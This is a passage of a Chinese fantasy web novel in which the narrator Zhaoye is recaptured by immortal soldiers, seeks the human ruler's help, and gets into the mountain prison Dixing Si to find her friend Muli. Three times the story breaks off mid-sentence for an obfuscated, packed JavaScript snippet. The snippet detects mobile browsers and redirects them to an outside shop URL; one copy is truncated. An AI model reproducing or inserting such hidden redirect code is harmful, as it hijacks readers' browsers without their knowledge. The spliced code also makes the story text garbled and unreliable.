我顿时明白了。地刑司建在笔柱山内部,外侧就是普通山岩,从那儿挖条地道确实可行。再看未生手指上还残留着两个破损的金属指套,更印证了我的猜测——这家伙,恐怕是个挖洞的好手。 事已至此,还是先睡觉吧。毕竟面对这种突如其来的状况,我也不知道该怎么办才好。 我挪到自己从前的小窝,这里还保持着我离开时的样子。穆青知道我喜欢睡软床,总会给我铺两层厚厚的褥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549505|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子;他知道我看书时嘴不能闲着,依旧在角落里藏好了或许还能吃的果干蜜饯;我的床、我的小桌、我的茶杯都是他亲手做的青莲样式……我根本离不开他。 想到这儿,我把脸埋进被子里默默流泪。 尾巴轻轻舔了舔我的眼角,叹气道,“你也别把共鸣想得太严重,本质上和交合什么的差远了。要知道,钩星那个胆小鬼可没胆子碰你,与你共鸣大概就是他的极限了。哎,真是个过分纯情的家伙。” “讨厌,你还提他!” 被我捶了一拳,尾巴托住我柔若无骨的手,笑道,“这样不挺好?你和青莲这下扯平了,这事儿可以愉快翻篇啦。” “那能一样吗!我当时是不知情,他可是故意的!你看他和凤琤仙力交缠那样儿,想想我就来气!我绝不原谅他!” “那要不……我们回去找钩星?嘿嘿。”尾巴坏笑。 “讨厌!不要!” 尾巴贴近我的脸,柔和的光芒轻抚我的后脑勺,像是在哄我入睡,“好好好,都听你的。不能便宜了青莲,除非他诚恳道歉,不然咱们绝不原谅他!竟敢和其他女人共鸣,真是吃了熊心豹子胆!” 怀揣着委屈和不安,我慢慢迷失在梦的深处,如沉溺于无底深渊,被黑暗紧紧包裹。 我不断向下沉坠,胸口像压着千斤巨石,连呼吸都变得困难。想起胸前确实挂着两个沉甸甸的“香瓜“,我艰难地翻了个身——就在这无边黑暗中,竟又看见了那团熟悉的金光。 周围的水开始沸腾,灼热的痛感阵阵袭来。眼看就要被那光团吞噬,我拼命向上挣扎。 突然,一股强大的力量拽住我的脚踝,猛地将我拉向金光深处。 剧痛瞬间传遍全身,仿佛从万丈高空坠落,每根骨头都碎成了渣。模糊视线里,有人背光而立,面容隐在阴影中。 “……怎么是你?“ 那人伸手将我拉起。我揉着摔疼的尾椎站起身,恍惚间看清了他的模样,一袭青衫,墨发垂肩,相貌普通,唯独那双黑白分明的眼睛闪烁着狡黠的光彩。 “你是谁……尾巴?“ 青衣人微微一怔,挑眉笑了,“真是奇怪,他选择了你。” “你是谁,为何在我梦里?!”我环顾四周,参天巨树遮天蔽日,唯有这片空地洒满阳光,“不对……这不是我的梦?“ 密林深处忽然刮来一阵怪风,风力越来越猛,几乎要将我庞大的身躯掀飞。我下意识抓住青衣人的手,他却纹丝不动,只是静静望着风来的方向。 突然,一个由残肢和头颅拼凑成的肉团蠕动着现身。这怪物周身布满鼓胀的血红眼睛,背后伸出无数触手,每个眼球都像探照灯般四处扫视。它的嘶吼掀起狂风,带着令人作呕的腥臭。 我吓得浑身发软,曾在熠石长钉里看到的铭文以及那青衣人大战怪物时的情景再次闪现在眼前,几乎是下意识,我叫出了这怪物的名字。 膣藟,怪物的名字是——膣藟! 青衣人抬手凝出一支光箭,瞬间射穿怪物的一个眼球。随着凄厉的嘶吼,庞大的躯体迅速钙化,一点点碎成腥臭的粉末。 青衣人信步上前,轻声道,“回去告诉他,务必斩草除根。“ 我躲在他身后偷看,只见粉末中有只肉虫正在蠕动,背上长满张牙舞爪的红色菌丝。青衣人打个响指,一团火焰立刻将虫子烧成灰烬。 现在我可以肯定这是梦了——这怪物只存在于我的记忆里。 “要告诉谁?小青吗?“ “嗯,这种怪物必须用烈火彻底消灭。“ “可我们正在冷战……不知道什么时候才能……见到他……“ 青衣人讶然回头,饶有兴趣地打量我,“哦?因何冷战?“ 说不清出于什么心情,我竟然在梦里,把自己的心事吐露给了一个不存在的陌生男人。 40. 第 40 章 照夜犯难 听完我的倾诉,青衣人抚掌朗笑,随后温声安慰道,“共鸣并非什么私密之事。当然,最终还是要看当事人如何理解。仙力经人体淬炼后便不再纯粹,不同性质的仙力本就难以相融。越是纯粹的仙力,包容性越强,侵略性也越强。很多时候,共鸣不过是强者对弱者的压制罢了。” “原来如此,是我错怪小青了……可是,他也不许我和除他以外的人共鸣,这又是为什么?” 阳光透过树隙洒在这个青衣人身上,他如一位耐心的师长般席地而坐,轻柔的嗓音娓娓道来,“世人总说爱是成全而非占有,但不可否认,爱的本质就是独占。他岂止不愿你与他人共鸣?若有可能,怕是连你的目光都希望只为他停留。” 我顿时面红耳赤,傻笑起来,连肚子上的软肉都跟着轻颤,“你叫什么名字?是小青的朋友吗?” 这时整个梦境突然晃动,仿佛有巨力在摇撼梦的边界。青衣人起身笑道,“你该醒了,后会有期。” 眨眼间我又回到了沸腾的水中,有谁正用力将我拽离那团耀眼的金光,直到我猛地睁眼,看见牧狸焦急的面容。 “他、他找来了!”牧狸压低声音,手指因恐惧而微微发抖。 我刚迷迷糊糊系好裤腰带,头顶便突然传来轰隆巨响。石洞剧烈震动,细碎石块簌簌落下。我瞬间清醒——追兵到了! “必须立刻离开!否则石洞塌陷,我们都得葬身于此!”未生强忍着伤痛,指套上凝聚起薄薄一层仙力,作势要打洞。 “别别别,有密道可走!” 好在穆青是个体贴的人,知道我不识水性便特意开凿了一条密道通向琼池附近的树林里,方便我想他时可随时去找他。 抱起焉耆,我们三人一狗一尾巴沿着密道撤离了琼池密洞。刚爬出来,只见天依旧漆黑一片,我有些糊涂地问牧狸,怎么这么快就追来了。 牧狸嗔道,你睡了一整天! 我正打算让焉耆带着我们逃命,还没下命令,如昼的灯火自头顶射下,数十道银甲仙军已如天罗地网般将我们团团围住。 为首那人端坐飞兽之上,正是号称仙界第一美男子的飞逍! 牧狸面无人色,双膝一软跪倒在地。 飞逍翩然落地,目光依次扫过未生、我,最后定格在牧狸身上。那张过于俊美的容颜此刻看来也不过如此,甚至不及环琛的兄长泉礼。 果然人外有人,美人也分高下。 尾巴安静地躺在青莲瓶中未有反应,应该是示意我不要与他们起冲突。惹了卫戍司,可就惹上了大麻烦,毕竟现在的卫戍司七将领,正巧是渊寂座下七弟子。 飞逍扬手便给了牧狸一记耳光,眼中满是鄙夷,“不知廉耻的贱人,竟敢勾结逆党,当真死不足惜!“ “住手!“未生强忍伤痛挣扎着喝道,“我与牧狸姑娘只是萍水相逢!所有罪责我一力承担,与她无关!“ 飞逍冷笑着一把掐住牧狸的下颌,竟朝她脸上啐去,“好个情深义重。这逆贼明知死路一条,还要为你开脱。莫非你也曾在他面前摇尾乞怜,做尽龌龊勾当?“ “放手!“我不知哪来的勇气,猛地扣住飞逍手腕,“牧狸是我青莲山的大师姐,你岂敢羞辱她!” “……你是谁?”飞逍眯眼打量我片刻,忽然仰天大笑,“我当是谁,原来是青莲山那个肥婆!“ 话音未落,尾巴已如闪电般击出,将飞逍狠狠掀飞。焉耆会意扑上,利齿深深陷入对方臂膀。而未生趁机挣脱束缚,拉起牧狸就要突围。 “飞逍,连三个逃犯都拿不下么?“ 阴冷的嗓音自暗处传来,十余条黑脊毒蛇倏然游出,将我们团团围住,毒牙滴落的晶莹毒液在月光下泛着幽光。 牧狸颤抖着拉住我,“当心!这些蛇有剧毒!“ “混账!竟敢小觑我!“ 飞逍暴怒长啸,周身仙力逆流,喉间迸发出裂帛之音。声浪初时如银瓶炸裂,旋即化作万千惊鸟哀鸣,凝成肉眼可见的灰色波纹横扫四野。音波过处草木摧折,山石崩裂,连空气都为之扭曲! 我只觉双耳剧痛难当,仿佛被万根冰针刺穿。幸亏尾巴及时封住我的耳朵,否则怕是早已颅骨迸裂。 待声浪渐息,整片树林已如遭飓风肆虐,数个来不及防护的仙军七窍流血,在地上痛苦翻滚着。 溟牙拂袖现身,咬牙切齿道,“啧,收敛些!师尊再三嘱咐谨慎行事,休要因一时意气坏了大事!“ 焉耆呜咽着扑倒我怀里,不停蹭耳朵,想必是难受至极。我转头只见未生双耳渗血,仍坚持为牧狸捂着耳朵。 “怎么又是你。“溟牙烦躁地揉着额角,盯向我,“真是阴魂不散。“ “这话该我说才对!“ “哼,与逆党厮混在一处。若非青莲尚有用处,必要将你投入大牢受遍一百零八种酷刑。” 差点被焉耆咬到,溟牙忌惮地后退半步,挥手令道,“罢了罢了,统统押回地刑司受审!“ 真是无奈,离开灵璧城没两天,竟然又于清晨来临前回来了。我被直接扔回了竹山,而牧狸和未生则被带走。 安宁见我回来颇为诧异,直言我来得不巧——凤琤公主前脚刚离开。 我一身狼狈地冲到瀑布下匆匆洗净,把尾巴揪出来拷问,“方才为何不出手?现在可好,大家都成了阶下囚!“ “你算哪门子囚犯?“尾巴在我掌心扭动,“洗得香喷喷的是要做什么?“ “要你管!“忽然想起那个奇特的梦,我捧起光团低声道,“我梦见你的真身了尾巴!是个穿着竹青色长衫的男子,相貌虽寻常,但温文尔雅,学识渊博......“ “你是不是睡糊涂了。我没有躯壳,空有意识,怎么可能是我。” 见尾巴否认得如此拒绝,我心想那必然是我猜错了,且眼下我还有更要紧的事儿办,不能再想乱七八糟的事儿。 因牧狸也被一同抓走,念在往昔,我也不能无动于衷。想到这里我心中不忿,没想到飞逍外表堂堂,私下却是这样一个卑鄙无耻之徒! 我打定主意,决定主动作为。由于焉耆再次被没收,我首先要解决的问题是想办法自由行动。 竹山占地广阔,地势错落有致,瀑布溪流甚多,又遍种白竹,只见一些亭台楼阁分布其中,一时难以看到全貌,闲逛尚且会迷路,别说逃跑了。 我佯装闲逛,见沿途守卫侍女皆未阻拦,便一路绕到了正殿处。这是一座由竹子建成的二层小楼,掩映于竹林之中,极为幽静。 正巧见溟牙正向安宁嘱咐些什么,我便抓住机会连忙跑上前去。 “什么事?” “我的小狗好几天没有喂食,我想去喂喂它。” “啊?想什么好事!仙帝已知你归来,待他得空自会处置你。” 我气鼓鼓瞪着溟牙,恶狠狠道,“行,我告诉你。我的小狗可价值百万利衡币!若是饿出了什么闪失,就是你的过错,必一分不少赔给我!” 溟牙大吃一惊,反问道,“你是不是想敲诈,百万?!你怎么可能有这么珍贵的坐骑!” “这是魔皇陛下送我的,自然珍贵!” “……”溟牙拧着眉头思索一番,好似觉得自己担不起这么重的责任,只得不甘心地说道,“罢了罢了,师父也曾交代别苛责你。你去喂你的狗,喂了就回来,别企图动歪脑子,青莲在我们手上,你也不想他出什么岔子吧!” “我只是去喂狗,你放心!” 说着溟牙派了两个侍卫监视我,我便获准骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之前因为偷听的事,我和晋川师兄妹闹得不太愉快,现在去求他帮忙,怕是没那么容易。但眼下实在没有更好的办法,只能硬着头皮试试。 翎波在这里行动受限,刚和我说了几句就有人不停敲门催促,她只好先行离开。 尾巴见我垂头丧气,说道,“渊寂这招真狡猾,把你们分开监视,免得你们密谋。你要多加小心。“ “附近会不会有百目仙人的法眼?“ 尾巴四处嗅了嗅,拍拍我的头,“放心,上次一战她消耗太大,暂时没精力布置法眼。“ “愁死人了,现在该怎么找晋川呢?“我愁眉苦脸。 “就以向人君请罪为借口,顺便打探消息。舒岸那么喜欢你,他哥哥不会为难你的。“ 我一把将尾巴揪下来晃了晃,“又来!真是的,哪来那么多人喜欢我!“ “笨蛋,你瞧瞧舒岸的表情就知道,只有看到你时才有一丝笑颜,不过他敬重青莲,自然不会表露心意。况且比起儿女情长,玉山的事更让他牵挂。“ 一时间我也惆怅万分,本想着尽快赶赴玉山,结果却遇到雷枢生事将灵璧城搞得一团糟,迫不得已留滞于此。 还不知渊寂何时才肯放我们走。 走在路上,我仰头望着破损的结界,那些裂痕忽明忽暗,仿佛在预示着更大的危机。 焉耆这家伙倒是随遇而安,在云南门吃香喝辣好不快活。因为它特别护地盘,虽然个头最小,占的停泊位却是最大的。 管理员对着我大吐苦水,说这小黑狗吃饱就闹事,搞得整个停泊场鸡飞狗跳。 我喂焉耆吃了些从食铺讨来的菜叶后,它满足地挺着圆滚滚的肚子,在我怀里呼呼大睡。看着它这模样,我既自责不是个好主人,又后悔没把它留在月下州托付给飞高高照顾。起码飞高高不会苛待它。 随即尾巴坏笑一声反驳我,留给那小丫头,怕不是回去一看:人去楼空了。 41. 第 41 章 好孩子别犯法 我正和尾巴嬉笑打闹时,溟牙带着几个侍卫急匆匆赶来。 见我老老实实抱着焉耆坐在原地,溟牙狐疑地打量了我一番,又瞪向那两个刚挣脱束缚、气喘吁吁追来的侍卫,无声地用眼神训斥了他们一顿。 “请问……我能去拜见人君吗?”我小心翼翼地开口。 “嗯?”竖瞳男人警惕地打量着我,“所为何事?” 没等我回答,他突然恍然大悟般捶了下手心,“啊!定是你上次在皇宫闹事,怕人君怪罪,回到月下州后无处容身,这才想去请罪!我说得没错吧?” 眼看着溟牙那双蛇瞳越凑越近,我浑身不自在。好在睡得迷迷糊糊的焉耆对这男人天生有敌意,抬头嗷了一嗓子,直吓得对方后退一步。 “你说话就好好说,凑这么近真的好下流!” “啧,我在标记信息,谁会对一个胖妞感兴趣!” 二话不说把我押回竹山后,溟牙并没有答应我的请求。 就这么过了三四天,一位意外的访客出现了。 凤琤公主——初见时她就像一捧清冽的山泉。与环琛那种明媚张扬的美不同,这位公主气质清雅脱俗,纯白裙摆泛着淡淡粉晕。 不愧是鲛人后裔,眼中流转的光华如泪珠般晶莹璀璨。 “拜见公主。” 凤琤轻轻扶起我,嗓音清甜,“不必多礼。父亲总不许我独自来竹山,说是怕打扰贵客。本想着就此作罢,但……为了青莲,还是得来这一趟。” 我心里咯噔一下,笑容僵在脸上,“小青他……还好吗?” 凤琤唇角弯起温柔的弧度,“结界修复进展不顺,我们正在尝试更密切地共鸣配合。还请你见谅。” 尾巴啧了一声,小声道,“哟哟哟,你看,她来挑衅你,顺便瞧瞧你的反应。绝对是个手腕了得的高手。” 我心里憋着火,却也不能失礼,只好装傻充愣地赔笑,“这段时间还要劳烦公主多费心。小青既是仙人,为仙界出力义不容辞。若他有哪里做得不好,还请多包涵。” 凤琤掩唇轻笑,饮完茶便要告辞。 我急忙追上前去,“公主请留步!有件事想请您帮忙。” 于是我向凤琤提出想拜见人君的请求,给出的理由连尾巴都惊得目瞪口呆。 “……你是说,你需要两万利衡币缴纳罚款,而人君恰好欠你两万酬金,所以你想去讨债?” “对对对!就是这样!”见凤琤蹙眉疑惑,我几乎要跪地恳求,“公主您貌美心善,就帮帮我吧。现在小青正忙,我不敢打扰他。这种琐事我想私下解决,免得影响他和公主……共鸣嘛……” 凤琤眼波流转,轻唤安宁近前,“去仙宫通报,为她备好飞兽。” “遵命,公主。” 欢天喜地送走凤琤后,我得意洋洋地向尾巴炫耀。尾巴这光团震惊地在“脸”的位置幻化出一个张大的嘴巴,“天啊!你居然拿青莲换好处!” “哼!是他先对不起我的。我现在有正事要办,管他和谁共鸣呢!”我好奇地戳戳那个圆圈,“这是你的嘴巴吗?” “是屁股洞。” “讨厌!” 见我一言不发地蹲在池塘边反复洗手,尾巴从我额前倒挂下来,光晕轻轻晃动,“怎么,不喜欢青莲了?” “虽然突然冒出个公主搅局,但尾巴,我们可不能中计。”我瞥向四周亭亭的白竹,这里的每一束光都在监视着我,无时无刻,随时随地,“渊寂故意分开我和小青,背后定有图谋。越是这种时候,越要沉住气。” 尾巴轻笑一声,光晕温柔地贴了贴我的脸颊,“很好,这才是冷静聪慧的照夜。” 又耐心等了两日,溟牙再次来到了竹山,我终于可以去面见舒仲了。 路上我一直在想,怎么想见一面人君如此困难,反倒是魔皇我想见就能见到。 想到这里我有怅然,钩星在长渊继续修行,下一次见面,他也许不再是那个害怕辜负魔族百姓期待的,略有些腼腆胆小的魔皇陛下了。 听雨楼。万象司总会安排前来仙界的贵客居住于此,地如其名,是观星赏雨的好地方,恰如今日。 因是人君下榻之处,守卫森严异常,光是青莲瓶的用处就被人盘问了十八遍。 好不容易获准入内,我又被舒仲的贴身女侍川晋拦下。这个与晋川同样沉默的女子面无表情,将我仔细搜身后收走了青莲花瓣瓶,这才抬手示意。 沿着曲廊行至湖心亭,我再次见到了那位总是温文含笑的人君。 “哎呀呀,瞧瞧是谁来了,”舒仲执壶斟茶,“照夜,请坐。” 我恭敬地行礼,悄悄瞄了眼侍立一旁的晋川——他依旧背着那条枯枝,静默如松。 今日小雨霪霏,湖面遍布微小的涟漪,目之所及一片空蒙,别有一番景致。 “君上为何还未返回月下州?” 舒仲轻笑反问,“照夜又为何留下?” 那日动乱时舒仲也在场,想必目睹了我们与渊寂对峙的一幕。便是没见,兴许也听说了。 “小青要修复结界不能离开,所以我也不走。” “……看来你我都被某些人或事……牵绊住了。”舒仲细细端详着我,“你帮了孤一个大忙,还未致谢。那日你形貌变化颇大,晋川一时未能认出,这才生出误会,还望见谅。” 我连忙摆手,“本就是我偷听在先,该我赔罪才是。” “哦?为何要偷听呢?” 我犹豫片刻,望了眼远处监视的溟牙,终是将身子前倾,压低声音将那日窥见太师施铎与溟牙、宋莹密会之事和盘托出,并给出了我的结论:施铎与仙界勾结,绝非善人。 闻言,舒仲挑眉轻笑,“多亏照夜心细如发。孤回去后自会暗中查证。” 我心中暗喜。本就怀疑施铎截断熠石供应与仙界有关,若能说动人君清除内患,舒岸在前线也能轻松些。 “你今日求见,所为何事?” 既是有求于人,我索性坦诚相告,将牧狸的遭遇娓娓道来。一直静立旁的晋川闻言,不禁蹙紧了眉头。 “原来如此。”舒仲微微颔首,“照夜重情重义,为救挚友奔走实属难得。晋川,你既熟悉地刑司的门道,便为照夜指点一二。救人一命,功德无量。” 晋川虽面有难色,仍躬身领命,“谨遵君上吩咐。” 待我们一起离开湖心亭,舒仲转向溟牙笑道,“听闻听雨楼有七榭十六阁,雨落时各有妙音。今日恰逢烟雨朦胧,可否劳烦引路一游?” 溟牙的目光在我身上打了个转,终究不好推辞,只得随人君离去。晋川凝望着那道渐远的背影,眉头始终紧锁,似有千钧心事。 “……你为何突然变化如此巨大。” “嗯?哦,我去映山都时,不小心吃胖了。” 冷面的男人突然捏了捏我的手臂,哼了一声,“瞒得过旁人,瞒不过我。你体内蕴藏着海量仙力,短期内难以炼化,便会堆积在身体各处。”晋川倚靠在栏杆旁望着淅淅沥沥的落雨,继续说道,“罢了,既然舒岸将军如此护你,我便破例相助。但要想清楚——地刑司易进难出,欲救那人,需付出代价。” “什么代价?” 男人唇边浮起意味深长的弧度,“天价的——赎身费。” 灵璧城的雨自清晨便未停歇,午后更是倾盆如注,好似天漏了个大洞。我躲在檐下与尾巴细数方才所得情报,商讨对策。 世上本没有仙与魔。仙界一切制度皆沿袭于人界,就连“行贿受贿暗开后门”亦学了来。哪怕是修仙之人,也有七情六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549507|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲,只要有欲望,就有可乘之机。 晋川当年能够脱罪,并非本身无辜抑或仙帝高抬贵手,而是人君花了大量的利衡币为他疏通关系,在缴纳了“赎身费”后,才得以顺利脱身。因此他怀揣感恩之心成为了舒仲最忠诚的侍卫。 在晋川的建议下,我首先要找到地刑司负责看管大门的仙吏,通过他联络在地刑司内部当差的万大爷,紧接着才有可能混进去,见一面牧狸。 当然,我能做的也仅仅是与其见上一面,至于其他的,想都别想,因笔柱山如同一个巨大的葫芦,只要从葫芦嘴儿进入,除了原路返回便无路可走。 “难办。”尾巴绕着我发梢打转,“眼下全城戒严,纵有胆大包天之徒也不敢顶风作案。更何况你身无分文,拿什么打通关节?” “真是苦恼,不知牧狸现下如何了……” “我看呐,凶多吉少,你没注意到,她遇到你时已遍体鳞伤,显然被人以极其凶残的手段虐待了。” 我心口阵阵发紧。昔日青莲山上那个爱唠叨的爽朗大师姐,怎会沦落至此? “不如去找飞逍算账,逼他放人!” 尾巴握着我的发梢拨弄,哼了一声道,“那个叫未生的家伙又怎么办?” “唉!”我懊恼地蹲在墙角,“怎就莫名其妙卷进这些是非里?未生看着不像恶人,危难时还护着牧狸。他们既敌不过三鸿珠仙,更遑论仙帝,为何偏要在大典当日生事?” “照夜,”尾巴突然贴近耳畔,声音凝肃,“你难道不觉得蹊跷?那日动乱——渊寂自始至终,未曾亲自出手。” “长官!就是她!一个人蹲在墙角自言自语,形迹可疑!” 突如其来的喝斥打断了我和尾巴的密谈。我艰难地转过头,只见一个陌生人领着七八名卫戍司仙兵朝我指来。 “出示云南印!” 我顿时愣住——身上伪造的印记虽能瞒过法眼巡查,却经不起当面查验。正欲解释,一个大胆的念头突然闪现,我不正愁如何混进地刑司吗? 把心一横,我转身就跑。 仙兵们一拥而上,将我捆得结结实实扔进转运所。被推进人满为患的临时牢房时,我不由怔住,怎么突然抓了这么多人。 我四下一打听,好家伙,这些人都是最近查出来的偷渡客。 我找了一个角落坐下来,心想不会就这么简单混进监牢吧。事实上,事情比我想象的更顺利,顺利到有些离谱。 当夜,确认了我的云南印为假后,我被当做偷渡客运送到了笔柱山的监牢。 “……竟用这种方式混进来,你这运气真是匪夷所思。”尾巴忍不住吐槽道。 “管不了那么多,先找到牧狸再说。” 随身物品被尽数没收,尾巴只得藏进我衣襟里,偶尔探出头窥探。 晨光熹微时,冒着滂沱大雨,我终于望见那座令人胆寒的大门——猩红的“地刑司”三字如血书就。同行的偷渡客当场痛哭失声:一旦进入到这里便很难出去了。 原以为地刑司不过是些阴暗的洞窟,踏入大门的瞬间我却被眼前的景象震撼得屏住呼吸。 随着狱卒慵懒的讲解,这座炼狱的全貌徐徐展开—— 巨大的空腔深不见底,寒意并非寻常冷意,而是种渗入骨髓的阴森,如无形之手扼住咽喉。沿阶而下时,我窥见渊底弥漫着黏着的雾状白色幽光,如活物般在最低处沉沉蠕动。 山体中央,一根铭刻“地脊”的玄黑巨柱贯通天地。 柱身并非光滑,布满古老的铭文,更有无数成人手臂粗细的玄铁锁链从中延伸,纵横交错成一张巨型蛛网,连接着岩壁各层的牢笼与平台。 这些锁链常在无形之力牵引下缓缓移动,发出令人牙酸的嘎吱声响,在死寂的山腹中久久回荡。 42. 第 42 章下流的尾巴 “这儿就是砺魂崖了。”领头的狱卒咧着嘴,露出一口黄牙,“待会儿判官会重新审你们,决定各位的去处。要是留在这儿服刑,那可真是走运;要是被发配到下层的束仙台嘛……”他故意拖长了调子,阴森森地笑道,“那可就得尝尝九死一生的滋味儿了!” 旁边那个一路哭哭啼啼的年轻人,这会儿鼻涕眼泪都冻成了冰溜子,哆哆嗦嗦地问,“那……那再下一层呢?” 狱卒猛地转身,脸上投下浓重的阴影,露出个诡异的笑容,“那就得关进寂灭池,日日夜夜受玄冰之气侵蚀,求生不得,求死不能!” 我壮着胆子探头望向最底层,只见那根玄黑巨柱笔直地穿透寒潭,却似乎还未见底。 “寂灭池下面又是什么?” 狱卒冷笑着逼近,突然作势要扑过来,见吓得我往后一缩,他哈哈大笑,“这么好奇?不如亲自下去看看,瞧瞧冥界——到底长什么样!” 等待判官重审时,我缩在角落回想狱卒的话,小声嘀咕,“尾巴你别怕,他吓唬人的。这世上根本没有幽冥鬼域,仙、人、魔都没有轮回。死了就是肉身消亡,仙丹溃散,并没有一处地方,可供亡者存活。” “……怎么突然安慰起了我,我只是尾巴,于我而言,不存在死亡这个概念。还是说你害怕啦?笨蛋!” 与周遭的其他偷渡客不一样,我只能看到“冰冷”,却基本感受不到。对我来说这儿的环境比落羽山可好多了,至少不会瞬间把人冻成冰渣。 “哎,要真有幽冥之地,不知我阿爹过得如何……” “……想他了?” 我叹了口气。和尾巴说话总像在自言自语,活像个神经病,旁人见之纷纷挪走,避之不及,刚好讨个清静。 “除了小青,阿爹就是我唯一的亲人了,当然想。” “那我呢?”尾巴不满地拱了拱,“就没有我的位置吗?” 我一怔愣,哈哈大笑起来,伸手在发梢下摸了摸尾巴柔软的“身躯”,“是我说错了,除了小青,我还有尾巴。” “纠正,是‘至少还有尾巴’。” 最终我的罪名仍是偷渡,在七十二项刑名里排在最末等。换句话说,我连被发配下层的资格都没有。 砺魂崖的岩壁上凿出了密密麻麻的牢笼,外围闪着符咒的光栅。牢房里阴冷潮湿,除了个石砌马桶外空无一物。 同牢的是个眉眼刺青的女子,她饶有兴致地打量着我,眼神颇不友善。我也不甘示弱,把她从头到脚扫了好几遍。 “再看,”她龇牙一笑,“信不信我把你眼珠子挖出来——嚼碎了吃!” “你不冷吗?” 女子愣了片刻,突然放声大笑,“我说要吃你眼睛,你倒问我冷不冷?”她裹紧单薄的囚衣,“冷啊,这鬼地方冻死个人。估计过两天,就得冻死一批人。” 女子见我对她的威胁无动于衷,忽然打开了话匣子,自顾自地说起了自己的来历。 盛放,凡人。在月下州犯事后流窜至灵璧城——罪名竟与我如出一辙,偷渡客。她颇为自得地展示脸上刺青,每一道都象征着她所犯的罪行。在这位法外狂徒眼中,这些不是罪证,而是功勋。 我趁机向盛放打听地刑司的门路,询问若无钱财打点,可否探听其他牢房的消息。 “别急,“盛放翻了个白眼,“梦里什么都有。“ “意思是……没戏?“ 盛放冷哼一声,背过身去不再理我。 事已至此,还是先睡觉吧,在这不见天日的地牢里,唯有生物本能还“尚存一息“。 尾巴比我先找到安乐窝——他钻到我胸前两个“香瓜“间的缝隙里,满足地赞叹,又香又软又大又暖和,作为窝简直完美! 这一觉我睡得天昏地暗,直到被盛放推醒。原来是到了发放食物的时辰。 我正要摇头拒绝,却听光栅外传来一声刻意的轻咳。抬头望去,竟是个熟悉的身影—— 白胡子老头,专门帮偷渡客纹“云南印”的万事知! 这老头推着一个木制车,桶里是散发出辛辣味的豆子泥,问道,“吃几勺。” 我一把拽住这假装不认得我的老头,压低嗓音道,“好啊,你不会就是那个‘万爷’吧!” “别别别,——狱卒在巡逻!“万事知手忙脚乱给我盛了半碗豆泥,“是晋川大爷让我来接应你。稍安勿躁。“ 我恍然大悟。难怪我能如此顺利混进地刑司,原来是晋川在暗中安排。碍于身后正在狼吞虎咽的盛放,万事知不便多言,递过碗和水便推车离去。 “快吃吧,“盛放冻得嘴唇发青,手指惨白,拼命吸着几乎失去知觉的鼻子,“这么冷的天,不吃点东西撑不了几天。“她狼吞虎咽地扒拉着尚有余温的胡椒汤,“这里仙气稀薄,连凝气取暖都费劲,全凭肉身硬扛。“ 我困惑地凑近,将食物分给意犹未尽的盛放,“扛过去就能出狱了?“ “做梦呢!“盛放嗤笑着拍拍我的肩,“看来是头回进来。扛过去的人才有资格去做苦工,扛不过的……“她朝牢门外努努嘴,“就是死路一条。你以为仙帝是什么大善人?诶,你别说,你这个小胖妞一身肉,还真是坐牢圣体。” 正说着,两个面无表情的狱卒从隔壁拖出一具冻僵的尸体。我扒着光栅望去,只见他们随手将尸体抛下了悬崖。我浑身一颤,慌忙拍醒尾巴。 “修仙要门槛,坐牢也要门槛,“尾巴懒洋洋地点评,“仙界的''犯罪标准''可真高,没点本事连当犯人的资格都没有。“ “仙帝也太残忍了!这些人罪不至死……“ “你又不是第一天认识他们。“尾巴嗤笑,“在仙人眼里,众生不过是滋养天地仙气的——耗材罢了。“ 这话如冰锥刺入脑海,瞬间唤起我记忆中,宋莹与舒岸昔日的对话。 我心头一凉,“必须尽快找到牧狸。“ “照夜……“尾巴的声音忽然凝重,“我总觉得,这地方不太对劲。“ 此刻,另一边的盛放早已风卷残云般吃光了我的那份牢饭。我则顺着墙角缓缓坐下,自从身材发福后,连抱膝而坐都成了奢望,只能瘫坐着发呆。 看着肚子上层层叠叠的软肉,我竟莫名感到一丝庆幸。 “到底哪里不对劲?“ “你感觉这里是冷还是热?“ “说实话我没什么感觉……难道不是冷的吗?“ 尾巴沉默片刻,声音压得更低,“这不是冷,而是极致的热。世间有一种火焰,便是这般冰寒刺骨的炽热。“ 这话让我猛然想起关于渟族的传说。他们居住的海洞深处有一种淬炼渟冥铁的火焰,极寒至极,以致锻造出的渟冥铁也冰冷刺骨,成为炼制仙丹的绝佳容器。 我不由自主再次望向那玄黑如夜的“地脊“与无数锁链,心头巨震——那根本不是什么普通金属,而是煌木当年征伐渟族后掠夺来的渟冥铁! “嘘——千手来了。“ 随着尾巴的警告,身后的盛放猛地将我拽到角落。她屏住呼吸,指甲深深掐进我手臂,声音止不住地颤抖, “千,千手仙人来了!“ 还未来得及反应,整座地刑司骤然陷入伸手不见五指的黑暗。 一种令人头皮发麻的窸窣声由远及近——那不是脚步声,更像是无数滑腻之物相互摩擦、拖曳过石地的黏 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囚犯被瞬间拖出牢笼,化作模糊的残影在舞动的手臂间传递,最终被抛向下方的寂灭池。只有半声被掐断的呜咽残留在空中,随即——传来物体破碎的闷响。 千手仙人的巡视仍在继续。 